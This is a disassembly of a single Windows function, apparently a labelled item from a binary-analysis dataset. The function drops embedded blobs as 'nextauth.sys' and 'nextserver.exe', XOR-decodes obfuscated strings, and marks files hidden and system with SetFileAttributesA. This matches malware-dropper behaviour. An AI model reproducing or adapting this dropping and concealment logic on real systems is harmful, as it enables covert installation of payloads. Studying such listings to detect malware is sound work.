Function at 0x140041de0
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
lea rdx, str.nextauth.sys
lea rcx, [rsp + 0x70]
call fcn.140045020
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0xc
mov qword [rsp + 0x48], 0xf
movsd xmm0, qword [str.nextauth.sys]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400b3350]
mov dword [rsp + 0x38], eax
mov byte [rsp + 0x3c], 0
mov r8d, 0x2000
lea rdx, [0x1400c0d00]
lea rcx, [rsp + 0x70]
call fcn.1400459d0
lea rcx, [rsp + 0x78]
call fcn.140047ac0
mov ebx, 6
lea edi, [rbx - 4]
test rax, rax
jne 0x140041ea9
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx - 0x48], 0
cmovne eax, edi
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
mov edx, dword [rbp + rcx - 0x7c]
and edx, eax
jne 0x140042297
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], r14
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140044f70
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rsi, vtable.std::ios_base.0
mov qword [rbp + 0x18], rsi
lea rcx, [rbp + 0x18]
call fcn.14004e280
nop
lea rdx, str.nextserver.exe
lea rcx, [rsp + 0x70]
call fcn.140045020
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0xe
mov qword [rsp + 0x48], 0xf
movsd xmm0, qword [str.nextserver.exe]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400b3360]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400b3364]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x3e], 0
mov r8d, 0x23600
lea rdx, [0x1400c2d00]
lea rcx, [rsp + 0x70]
call fcn.1400459d0
lea rcx, [rsp + 0x78]
call fcn.140047ac0
test rax, rax
jne 0x140041fb9
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x48], 0
cmovne ebx, edi
or ebx, dword [rbp + rcx - 0x80]
and ebx, 0x17
mov dword [rbp + rcx - 0x80], ebx
mov eax, dword [rbp + rcx - 0x7c]
and eax, ebx
jne 0x140042241
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r14
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140044f70
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
mov qword [rbp + 0x18], rsi
lea rcx, [rbp + 0x18]
call fcn.14004e280
nop
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs r12, 0x27b47de5d8c491c5
mov qword [rsp + 0x50], r12
movabs r13, 0xe46a3c209be26f12
mov qword [rsp + 0x58], r13
movabs r15, 0x51c61896acbcf4ab
mov qword [rsp + 0x30], r15
movabs r14, 0xe46a5958fecc1d77
mov qword [rsp + 0x38], r14
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, 0x26
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
movabs rsi, 0x4fc00884acbcf4ab
mov qword [rsp + 0x30], rsi
movabs rdi, 0xe46a3c20e89b1c3c
mov qword [rsp + 0x38], rdi
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, 0x26
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r13
movabs rax, 0x1be3a13fcf25b747
mov qword [rsp + 0x40], rax
movabs rax, 0x87a62a6a370c199c
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r15
movabs rax, 0x8a4a5958fecc1d77
mov qword [rsp + 0x58], rax
movabs rax, 0x358bd54aae51cf22
mov qword [rsp + 0x60], rax
movabs rax, 0x87a62a6a377f60ef
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm1
lea rcx, [rsp + 0x50]
call fcn.140061658
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
movabs rbx, 0x27b47de5d8b7fda6
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r13
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140061658
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r14
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140060d88
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140060d88
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r13
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140061658
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
test al, 4
je 0x14004224e
lea rbx, str.ios_base::badbit_set
jmp 0x140042262
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140038ae0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140039370
lea rdx, [0x1400be808]
lea rcx, [rbp + 0x80]
call fcn.140050e48
nop
test dl, 4
je 0x1400422a5
lea rbx, str.ios_base::badbit_set
jmp 0x1400422ba
test dil, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140038ae0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140039370
lea rdx, [0x1400be808]
lea rcx, [rbp + 0x80]
call fcn.140050e48
int3